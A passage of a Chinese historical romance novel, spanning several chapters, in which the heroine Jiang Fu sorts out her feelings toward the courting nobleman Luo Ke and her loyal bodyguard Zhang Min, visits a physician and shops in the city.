“芙芙,我在旧时的书房找了些沁儿幼年的书画,要一起看看吗?” 临近之处,他反而加快了步子,边走边带着笑对她说话。 蒋芙压低身子趴在窗台上:“沁儿幼年的书画,你找我看做什么?这个时辰了还看,难不成画是夜光的?” 骆岢被她说得沉默,片刻,眼神几分幽怨:“何等不解风情。” 蒋芙笑道:“公子,是你喜欢我,又不是我喜欢你,暗处聊天还要我奉承你不成吗?” 她将架子摘掉,要关窗。 骆岢快步到她窗前,挽留道:“是我说错了,你别不见我。” 蒋芙原本想冷漠到底,但见他受伤的眼神,到底心软。 “你大晚上来找我做什么?” 她眯起眼:“你不会想上我吧?” 骆岢疑惑:“上?” 蒋芙不说话。 他渐渐从她的态度中意会,脸红了彻底,飞速将视线撇开,气息都慌乱起来。 “……成亲之前,不敢奢望。” 说起这个就烦,蒋芙没什么好气把窗户往下一拉:“我没答应嫁给你!你要成亲找别人去成吧!” 骆岢伸手拦,刚好被砸在窗框下,痛得闷哼一声。 蒋芙赶紧把窗子抬起来,重新支好,端了床边的灯过来。 “你、你看看,没砸坏吧?” “我无事,可有吓到你?” “我怕什么?你才该害怕吧!” 蒋芙将他袖子往上挽了挽,灯光昏暗,挨得近才能看清伤痕。 看清以后,有些嫌弃,细皮嫩肉的,磕了一下就青紫泛血了,麻烦。 “你快去找大夫给你看看吧,我也没用力,都怪你,伸手干嘛?” “……” “怎么不说话?” 抬头,骆岢正看着她,澄澈的眸子被夜色渲染,像是要化成温水般,比白日里看着更柔和。 灯下看美人。 她心里忽然闪了一下,皱眉:“你干什么?有病,黏糊糊的。” “抱歉,我方才在想赔偿的事。” 蒋芙:“你想啥??” 骆岢低眸瞧被砸伤的地方:“芙芙砸坏了人,不负责吗?” 人无语到极致,是会想笑的。 “你那么喜欢亲嘴?” 蒋芙直起身子,两手挡在嘴前 哈了哈气,确认没有怪味,抬脸。 “来吧,亲。” 骆岢背对着月亮,脸上浮现皎洁笑意。 “我并非轻薄之人,娘子。” 蒋芙被他笑得面红耳赤,瘪了一下,“那你想怎么样?” 骆岢垂身,在她侧脸轻吻,正对着她的眼:“我希望你今晚梦见我。” 蒋芙愣住,半晌,从迷惑中清醒过来,用力掐他脸:“好,我会在梦里好好打你一顿。” 她试图将他的脸捏变形,但绝望发现,就算变形也有变形的好看之处。 在骆岢莞尔时,她问:“你娘是不是特别美?” 回应她的是一小阵无言。院外有小湖的流水声,头上有风声,耳边有心跳声。 蒋芙松了手,收到一半,被面前的人拉住。 “这是你今夜第二件要赔偿我的事,我不记得我娘的样子了。” 他的手有些凉,似乎是在外面站久的缘故。 “倒是不缺她的画像,但笔墨勾勒的形态,并不能看出是什么面容。” 蒋芙直接道:“你说吧,怎么赔?” 骆岢将她的手握在掌心:“我以为你会抵赖,像之前那样,用你不讲理的一面对付我。” “……你以为你很了解我?” “不敢了解,芙芙大人。” 蒋芙勾了下嘴角,听他说:“就赐我一个吻吧,然后,一定要想我。” 他反复叮嘱:“你每天多想我,慢慢就会喜欢我了。” 蒋芙朝他勾勾手,他心领神会地俯身,她也在他脸侧吻了一下。 “公子,私相授受有辱你名节。有什么打算,最好明面来,以后不要用这种方式了。” “明面……提亲?” 装。一定在装。 蒋芙隔着窗推他:“时候不早了,你快回去吧!” 她很快收手,举在两侧:“我都不能碰你,不然你又讹上我了!” 骆岢无奈一笑,被她催促着走出院门。 黑夜浓处,他回头,眼中似有无尽的情意。 蒋芙转身避开这一眼,心里又犹疑起来。 他不是骗人?她想多了? “……” 迟疑许久,她又去了窗边。 刚好张闵从院墙跳进来落地。他一身黑衣,很容易就与夜色融为一体,有了传说中暗卫的样子。 他准确找到蒋芙的眼睛,使了步法,几步跳到蒋芙面前。 “找我?” 蒋芙习惯性摆脸色,冷不丁想起两人现在的关系,又收敛起来。 “你去哪了?为什么总不在?” “你说我随意。” 他的意思是,蒋芙说过他随意去跟白明旭玩的话。 “……但你是不是太随意了?白明旭给你什么好处?你、” 你去给他做护卫去算了。这句话被蒋芙强忍了回去,要是他真走了怎么办。 “你想要什么东西,跟我说啊,我未必不能给你,咱们不是有六十多两银钱吗?” 张闵道:“你不愿,我下次便不去。” 蒋芙小心瞥他:“真的?” 张闵点头,扯了一下蒋芙身上披的外衫,拢得只露脖颈在外面。 “你们去干什么了?” “见师父,杀人。” 蒋芙深吸一口气:“杀什么人?不不不,不用告诉我。你师父在白明旭手里?他威胁你办事?” 张闵道:“不,他亦是师父之徒,要叫师兄。” 怪不得白明旭一直对张闵很热情,想要把他收编,原来有这一茬。 那他那边筹码岂不是很多? 蒋芙有了危机感:“我和你师父的话,你听谁的?” 张闵道:“你。” 第35章 第 35 章 讨厌猜想。 得到肯定答案, 蒋芙稍微满意了些,问:“你师父怎么在长安?之前不是说在扬州?” 张闵道:“他回来杀人。” 绕来绕去又回来了,他们怎么总是杀人。 虽然她也正有预感,长安风平浪静的表象背后, 似乎悄悄发生了什么大事。这种大事是她不能涉足, 最好不相关系的。 蒋芙想起便道:“白将军说没说咱们什么时候能走?” 张闵点头:“他让我转告你, 再过四天。” “好。” 她并没什么对前途的企划, 在这多停留四天也没什么。 该问的事都问过, 两人再无话可说。她没想到自己有天在张闵面前也能觉得尴尬,过去在他身边, 她是最自如的。 总之,张闵不能再参与白明旭的事了。他参与得越多,之后就越难脱身,到那时还怎么跟她走? 蒋芙打起精神道:“这几天我们就在长安玩吧?去买好吃的,再给你买几身新衣服!” 张闵颔首,片刻,抬手捂了下胸口的位置,神情费解。 他鲜少有表情,蒋芙觉得新奇:“你怎么了?受伤吗?” “上次之后, 我一见你就很痛。这是为什么?” “上次?” “你生气。” “……” 蒋芙不禁后退一步。 他说痛, 就是真的痛。以她的经验来看, 人只有在遇到喜欢或者讨厌的人的时候,胸口才会滋生痛感。 依据张闵的表现, 他显然不是喜欢她。 ——所以,她就那么惹人厌恶,连张闵这种纯白的老实人都受不了她? 不行。 她不能没有张闵。 蒋芙清了清嗓子:“……你痛问我有什么用?明天我陪你去医馆看看,你别害怕, 应该不是什么大病。” 张闵“嗯”了声,还是那副若有所思的模样。 “哈欠——我困了,你也早点睡!” 蒋芙快速将窗子关好。有骆岢的阴影在,落窗时停顿了下才关紧。 室内黑暗无人,她循着记忆,迷茫地往床榻走。灯盏燃尽,她直面残夜,自我怀疑。 她很令人讨厌吗? 这么一想,她对张闵的确不好,他讨厌自己也情有可原。 她对谁好过? 就连母亲在世时,她也不是个听话的孩子。她粗鄙、无能,天生不如沈听南讨人喜欢,不可能有人真心喜欢她。 那又怎么样,她也可以讨厌他们啊! “……” 她还是接受不了张闵讨厌自己。 不喜欢就算了,怎么能讨厌她呢。 蒋芙呆坐在床榻上,回忆他讨厌自己的蛛丝马迹。 她过去恨他和沈听南有联系,总把他往她身边推。那时他好像表现出烦了。 而且,就算他不懂,惹人生气的第一反应也是要哄吧?为什么他在母亲面前,做错事就懂下跪道歉呢?她也不是要他下跪道歉,就是…… 事到如今,想这些有什么用。 她应该不会再因为张闵难过才对。 蒋芙下意识给自己找退路,然后脑海里浮现骆岢清风明月的脸。 她用力踹了一脚橱柜,让自己清醒点。 他更是个骗子,怎么能想相信他? 一旦相信他,就要有嘲笑不屑的表情从他那张漂亮的脸上出现了吧! 他一定讥讽地说:无聊时消遣的玩笑罢了,你凭什么以为我会喜欢你?蒋娘子,你算什么? “……” 绝对不能让那种事发生。 与其相信骆岢,不如先稳住张闵,时刻物色能接替他的人。 最好是找一个会武的女子。不能是骗子。 她会努力友好跟她相处的。 打定主意,蒋芙翻身钻进被窝,让自己快快入眠,明天早点起带张闵吃早饭。 他自己虽然也能吃,但如果是她准备好了叫他来吃,就是她的心意。 闭眼许久,没有困意。 蒋芙看洒进窗纸的月光,许久,眼眶湿润,将母亲的骨灰从床头的小包袱里拿出来。 她现在有好多委屈,每天要为生计想好多好多事,这些苦,就算此刻四下无人,也没办法从嘴里说出来。 “好……”她两手抹泪 ,“好想你。” “娘,你把女儿养成狗都嫌的样子了。” “……也不能怪你,是我自己做主长成这样子的。你管我,我都没听过。” “我现在好难过啊……他怎么能讨厌我呢。” “他那种人都讨厌我,世界上还能有人觉得我是好人吗?我是不是特别特别烦人?” “我原来是因为,就算所有人讨厌我,也有你爱我,才那样的。” “……可是你怎么走了?你还把我当小孩子保护,你知不知道我自己也能干掉蒋文行?你怎么能那么容易就撒手不管我了呢?你是不是觉得我太难管,你累了,不想管下去了?” “娘……” “我想你回来……娘……” 蒋芙坐着哭了一会儿,不敢哭出声音,怕张闵或者府里的侍从听见。 她此生唯一的愿望,就是母亲能活着。 不然,没人爱她。 她觉得……她觉得自己好可怜。怎么就一个都没有呢?哪怕有一个…… 她深呼吸。 没有就没有吧。 “没有”有“没有”的活法。 真心有那么重要吗?张闵受母亲遗命,这辈子甘不甘心都得在她身边。讨厌她只会让他自己难受而已。 她才不要那么好心,因为他讨厌自己就放他走呢。 蒋芙拍了拍被子,闭眼。 睡觉!- 第二天,蒋芙穿戴整齐,趴在门边叫张闵吃饭。 她梳了母亲在世时常给她梳的发髻,是提醒张闵念旧情的意思。 张闵从室外进来,浑身带着清新的晨气。见她打扮,果然愣了一下,然后皱眉捂胸口。 蒋芙警铃大作。难道这个发型唤起了他什么不好的回忆吗?他是从这个发型的时候就开始讨厌她了? 那么早? ——讨厌也给她忍着!惯的! 张闵抬眸,眸色清明:“生气?为什么?” 蒋芙很想照着他的脸来一拳,但忍住了。 “没什么。” 她给他盛粥:“饿不饿?多吃点!” 早在蒋家时,他们便没什么主仆之分,时常凑在一起吃饭。 眼下,蒋芙只是从等着吃粥的人变成了盛粥的人,这样静下来吃一顿饭,唯有碗筷的声音,实在阔别已久。 她又因为眼前的温馨怀疑自己了。 真的就是讨厌吗? 万一是别的什么感情? 她瞥他一眼,又一眼。 张闵剥了一枚鸡蛋放进她的粥碗。 “为何看我?” 唯独喜欢不可能。 她问过,他也答过的。再想下去就是自取其辱了。 “我们等下就去看大夫。你现在胸口还痛吗?” 张闵感知了一下:“时间长些就不痛,不算什么病。” 蒋芙道:“那也还是去看看大夫吧。” 她欲言又止,最后把那枚干干净净的水煮蛋吃进肚子。 因为说了很多话的缘故,张闵吃完很久,她才把肚子填饱。被人盯着吃饭的感觉很不好,尤其是在满怀心事的时候。 吃完饭,她从行李里分出一小袋银子给张闵,一小袋给自己。 “上街的时候见到喜欢的就买,不用问我。” “嗯。” “我们先去医馆。”蒋芙跟随着他的步子走,将银子缠在腰带上绑好,“咱们不知道病因,大夫一定知道,问明白了省得以后再胡思乱想。” “你放心,如果是什么大病,我会陪你治下去的。” 张闵扯她手一下,将她拉得往后一步,避免撞在来人身上。 蒋芙放了钱袋抬头,险些被一身墨绿袍衫的骆岢晃花了眼。 这种明度低的墨绿自带贵气,与周遭的秋分割开,格外引人注目,更不必提他的容貌。 见到人,蒋芙没说话,因为骆岢看的人不是她,而是她旁边的张闵。 两位个子高的人面面相觑,她哪里能插得上话。 也不知骆岢怎么脸色那么难看,他是觉得张闵回来她身边,就不好骗她了? 不过蒋芙倒是想通一件事。 张闵以动物般敏锐的直觉,天生认为骆岢不是什么好人。 说不定有骆岢在场,会显得她讨人喜欢些。 “公子一大早要去哪里?” 她抱臂寒暄。 骆岢垂眸看她,像是受了什么委屈,哀哀看她。 “蒋娘子倒是,一大早……要与人去哪里?” 蒋芙心道,装,还敢装。 索性一箭双雕,等着他在张闵面前露陷,挨揍一顿,顺便用他烦张闵,让张闵觉得“世界上还有这么讨厌的人,蒋芙真的太讨人喜欢了”。 “我们要出去玩,你去吗?” 见她邀请自己,骆岢脸色稍微转缓:“娘子稍候,我去准备一下。” “这还准备?” 她以为他打扮这么隆重就是为了出门的呢。 骆岢对她见礼,冷眼扫向张闵。 蒋芙笑道:“对了,好生疏啊,公子怎么不叫我小名了?” 骆岢抬起的步子一顿,投来的目光有几分少年人独有的羞涩与克制。 蒋芙耳朵被火烤了一下似的,连忙看了眼清心寡欲的张闵让自己冷静下来。 张闵回看她,表情比之前沉了几分,显然是被骆岢讨厌到。 蒋芙缓了缓,泰然自若地笑:“咱们等他一下?” “……” 张闵看她的眼睛:“这几日,你和他发生了什么?” 第36章 第 36 章 医馆看病。 这几日, 他们之间发生的可就太多了。 蒋芙意外他问这个,两侧的手不自觉攥紧:“没什么,就是……” 她将自己半推半就享用男色的桥段略去,直接说最核心的。 “我之前不是总欺负他?他心里恨我, 这两天空闲, 就蓄意接近, 打算报复我。” 张闵推了下腰间的剑鞘, 白光一闪。 “我杀了他?” 蒋芙不假思索出手, 把剑按了回去:“不用!不用,我自有打算。” 她害怕张闵真的去杀人, 然后蹲大牢,神情严肃警告他:“你不许管,听见了吗?” 张闵停顿片刻,点头。 骆岢回来得比想象中的快,这一回他没再打扮得花枝招展,衣着十分朴素,头上还戴了帷帽,将肩膀以上都遮得严严实实。 “劳两位久候。” 蒋芙摆摆手:“来了就走吧。” 她向骆岢交代行程:“我们打算先去医馆,然……” “是病了吗?哪里不舒服?” 蒋芙顿了一下, 隔着帷帽的白纱瞥他:“公子好关心我啊, 不过病的不是我, 你可以先放心了。” 白纱里的人静默一瞬,修长的手伸过来, 要牵她,被张闵用石子打落。 骆岢捂手:“……好疼。” 蒋芙心中快意,但不表现出来,仰头找张闵的眼睛。 “无缘无故你打他做什么?” “离他远点。” “为什么?公子又不是坏人, 他什么坏事都没做。” 张闵:“你刚刚说他要——” 蒋芙踮脚捂他的嘴:“好了好了好了!我离他远点!” 她用眼神暗示,刚刚的话不能让骆岢知情。 这种明晃晃的勾引她还能接受,一旦骆岢换其他方式惩治,她就没办法了。 她是这样想的。 但她知道,自己内心里还有另一种想法,像粘了封条的箱子,她大概知道里面是什么,但是不能去碰。如果将封条撕下去,她可能会死,也有可能会生,但死面太大了,她不想用自己去冒险,可若要将这一个隐患从心里彻底排除,她又因为那点仅存的生面而不舍。 她太贪婪了,想要好东西怎么能不赌呢。 可是她没有能抵 押的东西,总不能把自己给赔进去。 蒋芙走到了张闵的左侧,继续用眼神警告他不要乱说话。 但在骆岢的眼里不是这么回事。 前一晚还隔窗相吻的心爱的女孩子,过了一夜就走在另一个男人身边,表现得像之前什么都没发生过一样,若即若离对他。 他在她心里是什么呢? 明明亲吻过,却不算私定终身吗? 她为什么与张闵那样亲密?他难道也被她亲过吗? 只是飞速闪过这样一个想法,他的心就已不堪重负,闷着碎了,连走路都用不上力气。 跟着他们进医馆,药童率先来搀扶的是他。天真烂漫的童音响在半腰:“这位郎君有何不适之症?” 骆岢羞愧脸红,好在戴了帷帽,蒋芙看不见这样的他。 “不是我……” 小药童尴尬撒了手:“多有得罪,郎君。” 蒋芙那边已经给张闵招呼上大夫了,分出闲暇见到这一幕。 “你不舒服?是不是昨夜吹风受寒了?” 骆岢待她走近,才低声道:“手,好痛。” 就被张闵打了那么一下,痛到现在? 蒋芙执起他捂着的那只手,怀疑的目光落上去,先看到的是自己昨晚给人磕出来的紫青。 她心虚地牵着他那只手找大夫,让人给他开药。 “你怎么自己不治?我就这么点钱!” 蒋芙要脸,声音放得很小。 骆岢佯装听不见,询问:“什么?” 蒋芙便更靠近他一些:“我说,你怎么自己不治,你家不是养了很多大夫吗?你是不是居心不良,想把我这点钱花光?” 骆岢若有若无靠在她身上,兰香清幽:“冤枉,我何曾有过那种心思。不过是昨夜太晚,不忍叫医者上值,今日一早,又陪蒋娘子出府游玩,无意耽搁了。” “那你好善良好懂事啊,这么为人着想,委屈自己——你以为我会那么说吗?你受伤不是自找的?谁让你半夜不睡觉趴我窗户?谁让你一大早惦记打扮往我院子里凑?你自己不想你的身体,还往我身上找由头,你……” 骆岢掀了几寸白纱,眼眸湿漉漉瞧她:“别骂了,我知错。” 蒋芙熄火,将脸别到一边。 药童上药的手停了半天,呆呆望着帷帽缝隙里骆岢的真容。 这是书里常说的神仙吧? 他迅速把药给骆岢上好,打包了之后的分量,说明一天换两次便跑到师父身边。 “我看见神仙啦!” 他师父捏胡子沉思着,不耐地将他支走:“去看看王掌柜的药煎得如何了。” 药童还想再说,但也惦记那锅药,老老实实跑药炉房去看火。 老乔松了把脉的手,道:“郎君,你并无心疾。” 张闵道:“可是很痛。” “痛?现在痛吗?” “痛。” 蒋芙去找骆岢说话了,他们说的内容,他全都听得见。 她为何要待那个人好?他对她也是像沈听南那样的朋友吗? 老乔因这个寡言少语的病人头疼不已。没有外伤也没有内伤,好好的心脏怎么能疼呢?他的脉象也不是那种忧思过重的,这人相当的直心肠了。 “郎君啊,你好像没病。” 张闵仍没放弃,与老乔隔案端坐。 “痛时,想杀人。” 老乔:“……” “那我再给你看看。” 骆岢那边包扎完,与蒋芙一起回到张闵身边询问病状。 蒋芙问:“可是什么重病?” 老乔见到一个水灵灵的小娘子,心里的惊恐有了着落。 “哎呦,娘子哎,你是这位郎君的内人?” 骆岢立即道:“她不是!” 老乔瞧他一眼,拍了下脑门:“瞧我,忙糊涂了,娘子与郎君原谅则个。” 蒋芙不在意,继续问:“这病很重吗?” 老乔为难道:“医者良心,我是真没摸出这郎君有什么病!就算老夫做些药材买卖,也断不能放好好的身子拿药去治!这没病就是没病啊!” 蒋芙表示理解,担心张闵没说明白,又帮他说了一遍。 “他说他之前跟我闹别扭之后,每次见我胸口都疼。” 她问:“你见其他烦……你见其他人的时候会疼吗?” 张闵摇头:“不会。” 蒋芙对大夫道:“他是不把人放在眼里的缘故,说不定见到别人也会疼。敢问医师,这是什么疑难杂症?” 老乔沉思,忽然眉头一皱,看了看她,又看了看张闵与戴了帷帽的骆岢。 “不是,你们三个是什么关系?” 他们三个就没关系。 骆岢身份不方便透露,蒋芙勉强找了解释:“我和他一起长大,和他后认识的。” 老乔撇了下嘴,长叹一声:“这就解了,这算什么病。” 他拿汗巾擦了擦脸,苦口婆心道:“小娘子啊,你这大郎君是吃二郎君的醋了吧?这些年我接过许多病人,你们这个情况的不是没有,说实话我擅长的就是房中疾疴,以前拿招幌跑江湖的!心里疼不是病,你们就是孩子,啥都不懂!伯伯告诉你!往后你多关照他几分,他就不疼了!” 蒋芙被大夫说得愣了,半晌才找到插话的地方,无力辩解:“我们不是……” 老乔豁达道:“别不好意思!老夫什么没见过!我给你们开几服药,调调阴阳盈亏,回去都开开心心的!既然都做选择了,日子总得对付过下去,是吧?” 张闵道:“我没吃过别人的醋。” 老乔已经撵人了:“快走走走,不要你们钱,快走吧!后边还有人呢!” “调阴阳盈亏,有用吗?” “有用啊!那我再给你开方,给你开猛药,肯定有用,不过这就得收钱了。” 张闵把蒋芙给的银子拿出来。 蒋芙一把夺走,脸上窘迫得要命:“你干什么?” 张闵道:“你说过,花钱不用问你。” “你不能花这个钱!” “脸红,为什么?” “……” 还能因为什么? 早知道这家医馆大夫这么八卦,她就不来了,换一家! 就算她不是脸皮薄的人,这么多人在,说这种没头没尾的事,她也会不好意思啊! “走!” 老乔一脸纳闷来拦:“哎,娘子,你怎么回事,我看出来你偏心了!大郎君吃药怎么不给买?哎!” 蒋芙拉着张闵大步走出了医馆,一路迎着许多人震撼的目光,她都不敢回头看骆岢跟没跟上。 走出一条街,周围走的人换了一茬,她才放松下来。明明是陪别人看病,她却一身疲惫。 看到路边有卖乌梅浆的,她买了一竹筒,坐在路旁的台阶上喝,兀自平静心绪。 张闵在旁抱剑站着,思索方才的事。 “你偏心?” 蒋芙呛到:“咳咳咳咳……别听那大夫瞎说。” 骆岢买了一兜糖酥回来,递给蒋芙,分神笑他的话。 “郎君莫要将外人的话放在心上,不过是无端的揣测罢了,无需介怀。” 他在内涵老大夫说他们三个的关系的事,让张闵不要把自己代入他们两个人之间。 但张闵压根不理他,将他话当做耳旁风,属于一拳打进了棉花里。 好在他是个有涵养的人,不悦从不上脸。 骆岢轻轻摸了下蒋芙的头,她今天梳的是反绾髻,像鸟儿展翼欲飞的样式,很有女儿家灵动可爱的一面,他看着喜欢。唯一美中不足的地方,就是这头发为别人梳的。 “郎君虽未加冠,可有心悦之人?” 张闵还是不理他。 倒是蒋芙笑着看他一眼:“你不用费力气试探,他不喜欢我。” 骆岢心头涌上一股甜意。泛酸的一天,此刻终于有了些慰藉。 他捋了捋衣摆,生疏地学着蒋芙的姿势,与她肩并肩坐到石阶上。 她就是如此懂他,无论怎样圆滑处事,她都能一眼看穿。 过去他曾为此心惊,如今竟也能从中品味出几分知心。 第37章 第 37 章 冰释前嫌。 虽有东都之称, 但洛城的街道要比长安冷清许多。白日见不到流水般的车马,道旁的商贩也不如长安种类繁多。 蒋芙还看见几个金发碧眼的胡人说着中 原话迎面经过。 “娘子小心!” 身后传来骆岢的呼声,蒋芙回过神,见道前有人策马急行。张闵将她抱在怀里, 向上一蹿, 越过拥挤的人群到路旁宽松的地方, 将她放下。 看见这一幕的路人纷纷称赞他的身手, 有几名女子大胆露出了倾慕的神色, 视线触及蒋芙又打住了,一脸遗憾地离开。 骆岢等人潮过了才挤到他们身边, 若不是用手扶着,帷帽都险些掉下去。 “娘子可无事?” 蒋芙道:“还问我,你没事吧?你身上有脚印,谁踩你了?” 骆岢这才看了看自己衣裳的下摆,上面印了几块人的脚印,他一手扶帷帽,弯腰,一手去轻轻拍打那些印记。 “方才人太多了,都是无心蹭上的。” 他望了一眼张闵, 道:“张郎君倒是游刃有余, 娘子裙摆也脏了, 郎君却干干净净的。” 蒋芙低头瞧了眼裙摆,是有点泥痕。本打算置之不理, 骆岢却蹲到她面前,仰首问:“举手之劳,我帮娘子清理一下如何?” “……”太殷勤了。 她才露出些许厌烦的神色,骆岢就站起身, 拱手道歉:“是我唐突,娘子莫要放在心上。” “……” 将近午时,街上的人终于少了。蒋芙买了个容量大、有缠扣的双肩包,最初看到时觉得新奇,没想到古时候会有卖包的商铺。随后又觉得自己大惊小怪,古人只是没掌握到先进的科技,又不是傻子,肯定知道肩膀除了背筐以外也能背包,一个双肩包有什么稀奇的。 不仅做得出来,还有许多种款式。 她选了褐色,最耐脏的一种颜色。丑是丑了点,往后长途跋涉,哪有功夫整天洗衣服晾干玩,只要别人看不出脏就能继续背。 她又让张闵选了一个,他选的黑色。 店家夸他们眼光好,“我这两款包虽然款式朴素了些,但用的都是最厚实的料子,里面多缝了一层,下雨都淋不湿东西!” “郎君,我们这还有一款绛紫的……” 张闵道:“不用。” 店家只好继续逢迎,因为他们只是挑好了包,还没到问账的阶段。 “看得出来郎君喜玄,这包和你这一身行头搭在一起非常合适。” “不喜,只是黑色看不见血。” “……” 蒋芙把他推走。怎么什么都说,到处吓人。 “两个包多少钱?” “娘子慧眼识珠,一眼看到了本店的镇店之宝,一个包一百文。” 蒋芙并不通晓物价,听着倒是不贵,她身上存有卖地钱六十多两白银,也就是六万多铜钱,拿出这两百文不算什么。 但这不意味着她愿意花冤枉钱:“我去其他店再看看。” 老板连忙挽留:“小娘子哎!急什么,价钱不满意都好商量,走得这么快!你说说,你想要多少钱?” 蒋芙想了想:“两个一百文。” 老板眉毛一跳:“这不行!这我卖了要亏本的!一百九十文不讲!” 蒋芙于是推着张闵往外走,骆岢在一旁跟随。 “贵不贵?” 骆岢愣了下,低声回复:“我不知行情,你若想要,我可以送你。” 问他等于白问。堂堂郡公府的公子,怎么可能到市井深处买过东西。 当然,她也是长这么大头一回出来买东西就是了,过去想要什么都是跟母亲说的。 老板在店里喊:“一百七十文两个,你要就拿走!” 张闵问:“要吗?” 蒋芙继续推他:“看看还能不能再降。” “一百五十文!” “……” “一百五十文!不能再少了!”老板叫价叫得痛彻心扉。 蒋芙于是脚步一转,回去结了账。 她以为自己砍价成功,背着新包美滋滋的。 接着路过下一家卖包的店,看见同一配置的包卖一百五十文两个,可议价,她就笑不出来了。 “骗子!” 她用力踢了脚地上的石子,小石子平移几步远。人倒霉的时候连石子都踢不明白。 张闵道:“生气的话,回去杀他?” 蒋芙给了他一拳:“再随口杀不杀的,你!你……” 张闵补充:“我就从你身边滚开?为什么不说?” 蒋芙心中恐慌再度漫上:“……你是等着我说这句话吗?你就这么想走?” “我不想走,为何问?” “你骗我吧?你真的不想走?” 张闵从小就觉得蒋芙很难懂,她每天都有不同的想法。 就像“走”这件事,他很坚定许诺过一辈子不离开她,对她唯命是从。但她当时信了,后面便要怀疑,然后用赶他走的方式验证,现在,则变成了问他想不想走。 “不走。” 他再次承诺:“我答应过夫人。” 这一次他说得完整:“我答应过夫人,也答应过你,只要我还活着,就不会离开。” “你不想让我走,对吗?” 然后他看见,蒋芙的眼睛一下红了。 她上前拉住他的手,对骆岢道:“公子,我有些话要与他说,你先回去吧。” 她没回头,张闵却视线笔直与骆岢隔纱相望。 隔了一层纱是看不见人表情的,即使看见,张闵也不会费心去揣测他那细腻的表情都有什么含义。 他只要顾好蒋芙的心情就够了。 骆岢盯着蒋芙握着张闵的那只手,充满依恋、急切的动作,她从来没对他那样过。 她让他先离开。 怎么偏偏要他离开,有什么话是当着他的面不能说的?她不是连侮辱的话都能贴在他的耳边说出来吗?为什么要把他支开? 他们要说什么? 心中有诸多不满,但骆岢知道,他最好全部憋在心里,不要让那些嫉妒与丑恶泄露出去,让她看见。 她本来就喜欢张闵,不喜欢他。 他记得营帐外那夜,她对着张闵哭得那么伤心的样子。 她喜欢谁,他早就看得出来,也早就开始嫉妒了。 是她先走近他恶言相向,破除男女本该谨守的分寸拉他的手,唇瓣擦过他的耳朵,对他坏笑,像有毒的夹竹桃花。 就算那些举动都是为了骂他,但是既然做出来了,总该在心里与他留下同样的印记。可是并没有,而且骆岢发现,当她不再讨厌他的时候,她原来可以变得从容与温柔。 那是不在乎的洒脱,他不要这种温柔,与其就这样成为她人生里的过客,不如让她一直恨他。 骆岢沉默着离开。 蒋芙完全不知道他在想什么,她一颗心都放在与张闵冰释前嫌的事情上。 她拉着他进了一家饭馆的包间,张闵任由她牵着,手掌宽厚温暖,与骆岢柔软细嫩的掌心不同,他手上带有常年练武留下的老茧。 “你真的不走吗?” 张闵皱眉:“为什么要走?” “你不讨厌我?” “不讨厌。” “那你为什么看到我会心痛?你又不喜欢我……” 他笃定道:“因为你偏心。” 蒋芙被他逗笑:“我怎么会偏心,我……” 她想说他不是知道她喜欢他吗? 可是脑海里忽然映出骆岢的脸,以及他们在马车里接吻的样子。 骆岢似乎钟情于下位的被掠夺感,喜欢靠在车壁上被她压着亲。她亲眼看着他的眼眸一点点昏暗,有水痕在其中潋滟,呼吸声轻轻重重。 仅仅是亲吻而已。 想这些做什么呢。 他不是骗子吗……不管是不是骗子,她都不想真的跟他产生什么瓜葛。 “我之前跟你说的话,你都不生气吗?” “什么?” “就是问你愿不愿意娶我,说我喜欢你的事。” 张闵道:“为什么要生气?我不懂什么是喜欢,你想我娶,我会娶的。” 对此情状,蒋芙哑然。 原来她伤心那么久的,忧虑那么久的,全都是自我折磨。 他不是不喜欢,不是她哪里不好,而是他根本没开这方面的窍。 这很好,不要开了,省得他看上别的女孩离开她。 “我要相信你了?” 蒋芙两手摆弄他 的手,摩挲他指腹的茧:“我真的要相信你了?我不想再怀疑你了,我这些天一个人好孤独。你真的对我很重要很重要,我到现在孑然一身,以为没什么可失去的,可我唯独不能失去你。没有你,我没办法一个人在这个世界活下去。” “嗯。” 蒋芙心中风云卷过,晴空既定。这些时日不停慌乱的心,此刻终于定下来了。 “我前几天被那个叫崔茄娘的人陷害,她想诬陷我偷东西,我先发现就揭穿她了。为了报复她,我故意当着那么多人的面接近骆岢,这几天混混沌沌做了许多不该做的事。” 她笑:“你知道吗?骆岢喜欢我,那么好看的男人喜欢我。” 张闵握着她指头的手紧了几分。 有了人保护,蒋芙终于愿意松懈围墙,窥视那点让她动容的爱慕。她不再会受伤,因为她随时都能抛弃一切和张闵离开。 她在心里打开那个粘了封条的箱子:“挺好笑的,怎么能喜欢我呢,是喜欢我数落他?” 张闵问:“什么是喜欢?” 蒋芙不想告诉他,只说:“喜欢可不是什么好东西,喜欢会让人变得痛苦。你这样什么都不知道,每天轻轻松松的,多好?” “不要去探究了,我们两个之后离开这里,好好过一辈子,活到寿终正寝,这可比什么喜欢有意义多了。” “我被陷害那天,算是彻底领略到什么是权势了。没办法,凭我一个人什么都改变不了,但改变不了还不能躲吗?” “之前在郡公府上课,跟老师探讨花,当时说得头头是道,信誓旦旦,结果真的发生了反而看不清,磋磨到现在,一开始就错了。” “人过得不好,是可以通过行动改变、让自己过得好的,光顾着盯别人怎么过得那么幸福,自己在这愤愤不平,有什么意思?” “我为了小命,注定没办法在魏如因面前挺起腰板,谁让这里是齐国,而她是齐国的公主?不只是她,其他贵女、郎君,哪一个随便出手,都能让我死得无声无息。” “你别拿剑,我还没惹那么多人。就是觉得郁闷,但现在已经想开了,在一群弄权之人面前,我注定只能卑如尘埃,被他们在高高在上的地方俯视。但总有地方是能给我自由,总有人是能发自内心尊重我,看到我的优点欣赏我的。” “我何必非和他们较量高低,弄得自己伤痕累累?我又不是被栽在土里的花。他们的存在,我没办法撼动,但是我自己可以走,俗话说的好,惹不起还躲不起,天高皇帝远,总有地方是能我们两个幸福快乐生活下去的。” “我之前不是想不通,就是觉得没底。我在你心里也是重要的,对吗?” “……对。” “是第一位吗?” “是。” 蒋芙道:“那我就别无所求,一切都不再重要了。” 第38章 第 38 章 醋意盎然。 话说开了, 蒋芙趁着日落之前的时间,又买了些路上用得着的东西,买完在街头观摩了杂技表演,递了赏钱, 和张闵回了住处。 迈进院落, 就听见哀似呜咽的琴声从骆岢寝居的方向传来。 她迟疑了下, 身上挂着不少东西的张闵侧看她, 对上那双沉静的双眸, 蒋芙硬着心肠与他回了自己的小院子。 在外逛了一天,她累得不行, 回了房间就躺到床上。张闵默不作声帮她整理乱扔的鞋子和添置回来的物品。 蒋芙闭上酸胀的双眼,耳旁还隐隐听见那道琴音。 缠绵悠扬的音色,像悲伤至极的少女吟唱,慢而沉重,余音回响,窗外落叶都飘进了音律之中。 